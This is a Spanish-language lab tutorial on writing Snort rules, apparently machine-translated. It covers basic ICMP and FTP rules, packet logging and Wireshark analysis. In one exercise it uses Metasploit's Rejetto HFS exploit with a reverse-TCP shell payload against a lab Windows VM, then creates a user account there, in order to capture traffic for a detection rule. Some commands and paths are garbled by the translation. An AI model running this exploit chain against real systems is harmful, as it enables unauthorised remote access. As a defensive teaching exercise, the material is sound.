En esta serie de ejercicios de laboratorio, demostraremos varias técnicas para escribir reglas de Snort, desde la sintaxis básica de las reglas hasta la escritura de reglas destinadas a detectar tipos específicos de ataques. También examinaremos algunos enfoques básicos para el análisis y la optimización del rendimiento de las reglas.
Ejercicio 1: Snort como IDS
Snort es más conocido como IDS. Del sitio web snort.org:
«Snort® es un sistema de prevención y detección de intrusiones en la red (IDS/IPS) de código abierto desarrollado por Sourcefire. Al combinar las ventajas de la inspección basada en firmas, protocolos y anomalías, Snort es la tecnología IDS/IPS más extendida en todo el mundo. Con millones de descargas y casi 400.000 usuarios registrados, Snort se ha convertido en el estándar de facto para IPS».
También hay que mencionar que Sourcefire fue adquirida por Cisco a principios de octubre de 2013.
Snort puede funcionar esencialmente en tres modos diferentes: Modo IDS, modo de registro y modo sniffer. Vamos a utilizar Snort en esta parte del laboratorio en modo IDS, para luego utilizarlo como registrador de paquetes. Utilizaremos la VM de Ubuntu Server, la VM de Windows Server 2012 R2 y la VM de Kali Linux para este laboratorio.
Tienes la versión 2.9.8 de Snort instalada en tu VM de Ubuntu Server. Inicie su VM de Ubuntu Server, inicie sesión con las credenciales proporcionadas al principio de esta guía y abra un shell de terminal haciendo doble clic en el acceso directo del escritorio. (Como alternativa, puede pulsar Ctrl+Alt+T para abrir un nuevo intérprete de comandos.)
Para verificar la versión de Snort, escriba snort -V y pulse Intro.
A continuación, tenemos que configurar nuestro valor HOME_NET: la red que vamos a proteger. En primer lugar, introduzca ifconfig en su shell de terminal para ver la configuración de la red. Observe la dirección IP y el valor de la interfaz de red. Vea la imagen siguiente (su IP puede ser diferente).
A continuación, escriba el siguiente comando para abrir el archivo de configuración de snort en el editor de texto gedit:
sudo gedit /etc/snort/snort.conf
Introduzca la contraseña de Ubuntu Server. Cuando se abra el archivo snort.conf, desplácese hacia abajo hasta encontrar el ajuste ipvar HOME_NET. Querrás cambiar la dirección IP para que sea tu subred de clase C real. Actualmente, debería ser 192.168.132.0/24. Simplemente cambiará la parte de la dirección IP para que coincida con la IP de su VM de Ubuntu Server, asegurándose de dejar el «.0/24″ al final.
Seleccione Guardar en la barra de la parte superior y cierre el archivo. En este punto, Snort está listo para ejecutarse. Excepto que no tiene ninguna regla cargada. Para verificar, ejecute el siguiente comando:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Aquí le estamos diciendo a Snort que pruebe (-T) el archivo de configuración (-c apunta a su ubicación) en la interfaz eth0 (introduzca el valor de su interfaz si es diferente). Esto producirá mucha salida. Desplázate hacia arriba hasta que veas «0 Snort rules read» (ver la imagen de abajo).
Recorramos la sintaxis de esta regla:
Rule headers
- alert – Rule action. Snort generará una alerta cuando se cumpla la condición establecida.
- any – IP de origen. Snort mirará todas las fuentes.
- any – Puerto de origen. Snort buscará en todos los puertos.
- -> – Dirección. Desde el origen hasta el destino.
- $HOME_NET – IP de destino. Estamos utilizando el valor de HOME_NET del archivo snort.conf.
- any – Puerto de destino. Snort mirará todos los puertos de la red protegida.
Opciones de la regla:
- msg: «ICMP test» – Snort incluirá este mensaje con la alerta.
- sid:1000001 – ID de la regla Snort. Recuerde que todos los números menores a 1.000.000 están reservados; por eso comenzamos con 1.000.001. (Puede utilizar cualquier número, siempre que sea mayor que 1.000.000.)
- rev:1 – Número de revisión. Esta opción permite facilitar el mantenimiento de las reglas.
- classtype:icmp-event – Clasifica la regla como «icmp-event», una de las categorías predefinidas de Snort. Esta opción ayuda a la organización de las reglas.
Haga clic en Guardar y cierre el archivo. Ahora vamos a ejecutar el comando de prueba de configuración de Snort de nuevo:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Si se desplaza hacia arriba, debería ver que se ha cargado una regla.
Ahora, iniciemos Snort en modo IDS y digámosle que muestre las alertas en la consola:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
De nuevo, estamos indicando a Snort el archivo de configuración que debe utilizar (-c) y especificando la interfaz (-i eth0). La opción de consola -A imprime las alertas en la salida estándar, y -q es para el modo «silencioso» (no mostrar el banner ni el informe de estado). No debería ver ninguna salida cuando introduzca el comando porque Snort no ha detectado ninguna actividad especificada en la regla que escribimos.
Generemos algo de actividad y veremos si nuestra regla funciona.
Inicie su VM Kali Linux. Es posible que tenga que introducir startx después de introducir las credenciales para llegar a la GUI. Una vez allí, abra un shell de terminal haciendo clic en el icono de la barra de menú superior.
Ahora comience a hacer ping a su Servidor Ubuntu con el siguiente comando (utilice la IP de su Servidor Ubuntu en lugar de .x.x):
ping 192.168.x.x
Deja que se ejecute durante un par de segundos y pulsa Ctrl+C para parar y volver al prompt.
Ahora vuelve a tu Servidor Ubuntu ejecutando Snort IDS. Debería ver las alertas generadas por cada solicitud de eco ICMP y mensaje de respuesta de eco, con el texto del mensaje que especificamos en la opción msg:
También podemos ver la dirección IP de origen del host responsable de la actividad que genera la alerta. En el ejemplo anterior, es 192.168.132.133; la tuya puede ser diferente (pero será la IP de tu VM Kali Linux). ¡Nuestra regla de prueba está funcionando! Pulsa Ctrl+C para detener Snort y volver al prompt.
Ahora vamos a escribir otra regla, esta vez, un poco más específica. Abra nuestro archivo local.rules en un editor de texto:
sudo gedit /etc/snort/rules/local.rules
Primero, comentemos nuestra primera regla. Ponga un signo de libra (#) delante de ella. En una nueva línea, escriba la siguiente regla (usando su IP de Kali Linux para x.x):
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: «FTP connection attempt»; sid:1000002; rev:1;)
Aquí cambiamos el protocolo a TCP, utilizamos una IP de origen específica, establecemos el número de puerto de destino a 21 (puerto por defecto para las conexiones FTP) y cambiamos el texto del mensaje de alerta. Guarde y cierre el archivo. Ahora vamos a ejecutar Snort en modo IDS de nuevo, pero esta vez, vamos a añadir una opción más, de la siguiente manera:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
Estamos diciendo a Snort que registre las alertas generadas en el formato ASCII en lugar del pcap por defecto. Una vez que Snort se está ejecutando (de nuevo, usted no verá ninguna salida de inmediato), vaya a su Kali Linux VM y escriba el siguiente comando en un shell de terminal (utilizando su dirección IP del servidor de Ubuntu):
ftp 192.168.x.x
Vuelva al servidor de Ubuntu. Debería ver que se ha generado una alerta.
Para asegurarse de que la regla no está generando ningún falso positivo, puede abrir otro shell de terminal en la VM de Ubuntu Server e intentar conectarse al mismo servidor FTP. No deberías ver ninguna alerta nueva. Pulsa Ctrl+C para detener Snort.
Ahora ejecuta el siguiente comando para hacer el listado del directorio de registro de Snort:
ls /var/log/snort
Deberías ver algo similar a la siguiente imagen:
El archivo snort.log.* (puedes tener más de uno si generaste más de una actividad de generación de alertas anteriormente) es el archivo de registro .pcap. No se puede leer con un editor de texto. La dirección IP que ves (la tuya será diferente a la de la imagen) es la IP de origen de la alerta que acabamos de ver para nuestra regla FTP. Es un directorio. Veamos qué hay dentro:
sudo ls /var/log/snort/192.168.x.x
Puedes ver que hay un fichero con el nombre del protocolo (TCP) y los números de puerto involucrados en la actividad. Podemos leer este archivo con un editor de texto o simplemente utilizar el comando cat:
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
Obtenemos la misma información que vimos en la salida de la consola con algunos detalles adicionales.
¿Qué hay de los archivos .pcap? Podemos usar Wireshark, un popular analizador de protocolos de red, para examinarlos. Introduzca sudo wireshark para iniciar el programa. Haz clic en OK para reconocer los mensajes de error/advertencia que aparecen. Una vez en la ventana principal de Wireshark, vaya a Archivo → Abrir.
Busque el directorio /var/log/snort, seleccione el archivo snort.log.* y haga clic en Abrir.
¡Mucha más información aquí! Haz clic para ampliar cualquiera de los elementos del panel central. Ahora podemos ver el contenido de cada paquete.
Cierra Wireshark. Lo usaremos mucho a lo largo de los laboratorios.
Para nuestra siguiente regla, vamos a escribir una que busque algo de contenido, además de protocolos, IPs y números de puerto. Primero, necesitamos generar alguna actividad que nos proporcione el contenido necesario para una regla.
Inicie su VM de Windows Server 2012 R2 e inicie sesión con las credenciales proporcionadas al principio de esta guía. Esta VM tiene un servidor FTP que se ejecuta en él. En primer lugar, averigua la dirección IP de tu VM Windows Server 2102 R2. Puedes hacerlo abriendo el símbolo del sistema desde el acceso directo del escritorio e introduciendo ipconfig.
Nota el valor de «Dirección IPv4» (el tuyo puede ser diferente al de la imagen). Ahora vuelve a tu máquina virtual de Ubuntu Server e introduce ftp 192.168.x.x (usando la dirección IP que acabas de buscar). Cuando te pida el nombre y la contraseña, pulsa Enter. Examina la salida.
Como podemos ver, al introducir credenciales no válidas aparece un mensaje que dice «Login o contraseña incorrecta». Ahora tenemos suficiente información para escribir nuestra regla. Introduce quit para salir de FTP y volver al prompt. Abra nuestro archivo local.rules de nuevo:
sudo gedit /etc/snort/rules/local.rules
Como vamos a trabajar mucho con este archivo, puede dejarlo abierto e iniciar un nuevo shell de terminal para introducir comandos.
Añade la siguiente regla en la nueva línea:
alert tcp $HOME_NET 21 -> any any (msg: «FTP failed login»; content: «Login or password incorrect»; sid:1000003; rev:1;)
Nota que ahora ponemos el valor de HOME_NET como nuestra IP de origen, porque vamos a buscar las respuestas salientes del servidor FTP. Guarde el archivo. Ahora vamos a probar la regla. Inicie Snort en modo IDS:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Ahora vaya a su VM Kali Linux e intente conectarse al servidor FTP en Windows Server 2012 R2 (ftp 192.168.x.x), introduciendo cualquier valor para Nombre y Contraseña. Introduzca quit para volver al prompt. Vuelva a la VM de Ubuntu Server. Deberías ver varias alertas generadas por las dos reglas activas que hemos cargado en Snort. Pulsa CTRL+C para detener Snort.
Ejercicio 2: Snort como registrador de paquetes
Con el panorama de ataques y vectores que cambian rápidamente hoy en día, puede que ni siquiera sepamos qué debemos buscar hasta que hayamos visto el ataque. Entonces, tal vez, después de examinar ese tráfico, podríamos crear una regla para ese «nuevo» ataque específico. Así es exactamente como se crean las reglas por defecto de Snort disponibles al público. Ahora ejecutaremos Snort en modo de registro y veremos que somos capaces de identificar el tráfico basado en los ataques que realizamos.
En este ejercicio, simularemos un ataque a nuestro servidor Windows mientras ejecutamos Snort en modo de registro de paquetes. Luego examinaremos los paquetes registrados para ver si podemos identificar una firma de ataque.
Asegúrese de que las tres VMs (Ubuntu Server, Windows Server y Kali Linux) se están ejecutando. En su VM Kali Linux, introduzca lo siguiente en un shell de terminal:
msfconsole
Esto lanzará Metasploit Framework, una popular plataforma de pruebas de penetración. Tardará unos segundos en cargarse. Ignora el error de conexión a la base de datos. Espera hasta que veas el prompt msf>. Una vez allí, introduzca la siguiente serie de comandos:
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (dirección IP de la VM Kali Linux)
set RHOST 192.168.x.x (dirección IP de la VM de Windows Server 2012 R2)
set RPORT 8081
Aquí configuramos un exploit contra una versión vulnerable del servidor de archivos HTTP Rejetto HFS que se ejecuta en nuestra VM de Windows Server 2012 R2.
Antes de ejecutar el exploit, necesitamos iniciar Snort en modo de registro de paquetes. Ve a tu VM de Ubuntu Server e introduce el siguiente comando en un shell de terminal:
sudo snort -dev -q -l /var/log/snort -i eth0
No verás ninguna salida. Ahora vuelve al exploit msf que has configurado en la VM de Kali Linux e introduce exploit. Si el exploit fue exitoso, deberías terminar con un shell de comandos:
Ahora que tenemos acceso al sistema, hagamos lo siguiente:
Crea una nueva cuenta de usuario:
nombre de la cuenta de usuario P@ssword12 /ADD
Cambia los directorios a c:
cd
Crea un nuevo directorio que sea tu nombre.
mkdir yourname
Ahora presiona Ctrl+C y responde y por «sí» para cerrar tu acceso al shell de comandos.
A continuación, ve a tu VM de Ubuntu Server y presiona Ctrl+C para detener Snort. Introduzca sudo wireshark en su shell de terminal. En Wireshark, vaya a Archivo → Abrir y busque /var/log/snort. En este punto tendremos varios archivos snort.log.* allí. Selecciona el que haya sido modificado más recientemente y haz clic en Abrir.
Deberías ver bastantes paquetes capturados.
Necesitamos encontrar los relacionados con nuestro ataque simulado. En Wireshark, seleccione Editar → Buscar paquete. En el cuadro de diálogo resultante, seleccione el botón de radio String. A continuación, seleccione Packet Bytes para el criterio Search In. Luego, para la cadena de búsqueda, introduzca el nombre de usuario que creó.
Una vez que haya configurado el diálogo de búsqueda, haga clic en el botón Buscar. La búsqueda debería encontrar el paquete que contiene la cadena buscada. Siga adelante y seleccione ese paquete. Será el de color naranja oscuro. Haz clic con el botón derecho y selecciona Seguir flujo TCP.
Esta acción debería mostrarte todos los comandos que se introdujeron en esa sesión TCP. Esto incluirá la creación de la cuenta, así como las otras acciones.
Después de haber verificado los resultados, sigue adelante y cierra la ventana de flujo. Esto debería llevarte de vuelta al paquete que seleccionaste al principio. Ahora pulsa la flecha hacia arriba hasta que veas que la parte ASCII de tu volcado hexadecimal muestra «C:UsersAdministratorDesktophfs2.3b>» en el panel inferior. Vea a continuación.
Note la parte seleccionada en el gráfico anterior. Utilizaremos este contenido para crear una alerta que nos permita saber cuándo se envía un shell de comando a otro host como resultado del exploit Rejetto HFS. Minimiza la ventana de Wireshark (no la cierres todavía).
Ejercicio 3: Crear una regla personalizada a partir del tráfico registrado
Queremos que aparezca una alerta cada vez que Snort vea «C:UsersAdministratorDesktophfs2.3b>». Ve a nuestro archivo local.rules (si lo cerraste, ábrelo de nuevo como root, usando el mismo comando que hicimos antes) y añade la siguiente regla en una nueva línea (observa que estamos escapando todas las barras invertidas para asegurarnos de que están incluidas en el contenido):
alert tcp $HOME_NET any -> any (msg: «Command Shell Access»; content: «C:UsersAdministratorDesktophfs2.3b»; sid:1000004; rev:1;)
Guarda el archivo. Ejecute Snort en modo IDS de nuevo:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
Ahora vuelva a su VM Kali Linux. Usted todavía debe estar en el símbolo del exploit rejetto. Simplemente introduzca el exploit para ejecutarlo de nuevo. Espera a tener acceso al shell de comandos y vuelve a la terminal de Snort en Ubuntu Server. Deberías ver que se han generado alertas, basadas en nuestra nueva regla:
Pulsa Ctrl+C en el terminal de Kali Linux e introduce y para salir del shell de comandos. A continuación, pulsa Ctrl+C en el terminal de Ubuntu Server para detener Snort.
En este caso, tenemos algún contenido legible para el ser humano para utilizar en nuestra regla. Pero ese no es siempre el caso.
Modifiquemos nuestra regla para que busque contenido representado en formato hexadecimal. Primero, en nuestro archivo local.rules, copiamos nuestra última regla y la pegamos abajo en la nueva línea. Ahora comenta la antigua regla y cambia el valor de «rev» para la nueva regla a «2». Ver abajo.
Vuelve a abrir la ventana de Wireshark con nuestra captura, con la misma porción de carga útil seleccionada. Por desgracia, no se pueden copiar los valores hexadecimales directamente desde la ventana principal de Wireshark, pero hay una solución fácil que nos servirá. Con el contenido necesario seleccionado, haz clic con el botón derecho en el paquete correspondiente (resaltado) en el panel superior o en la entrada «Data:» resaltada en el panel central y selecciona Copiar → Bytes → Offset Hex. Vea a continuación.
Ahora, en nuestro archivo local.rules, seleccione el argumento de contenido (todo lo que está entre las comillas) en nuestra nueva regla, haga clic con el botón derecho y haga clic en Pegar. Ahora elimine cuidadosamente todos los espacios extra, saltos de línea y demás, dejando sólo los valores hexadecimales necesarios. A continuación, ponga los símbolos de tubería (|) en ambos lados. Su regla terminada debe parecerse a la imagen de abajo.
Guarde el archivo. Inicie Snort en modo IDS. A continuación, vaya a su Kali Linux VM y ejecutar el exploit de nuevo. Espera hasta que tengas el shell de comandos y mira la salida de Snort. Deberías ver las alertas generadas.
Esta vez vemos dos alertas en lugar de cuatro porque incluimos la representación hexadecimal del símbolo «>» en el contenido, haciendo la regla más específica.
Pulsa Ctrl+C para detener Snort. Luego, en la VM de Kali Linux, presione Ctrl+C e ingrese y para salir del shell de comandos. Escriba exit para volver al prompt normal.
Esto es sólo algo de lo básico de la escritura de reglas de Snort. Más adelante veremos algunas técnicas más avanzadas.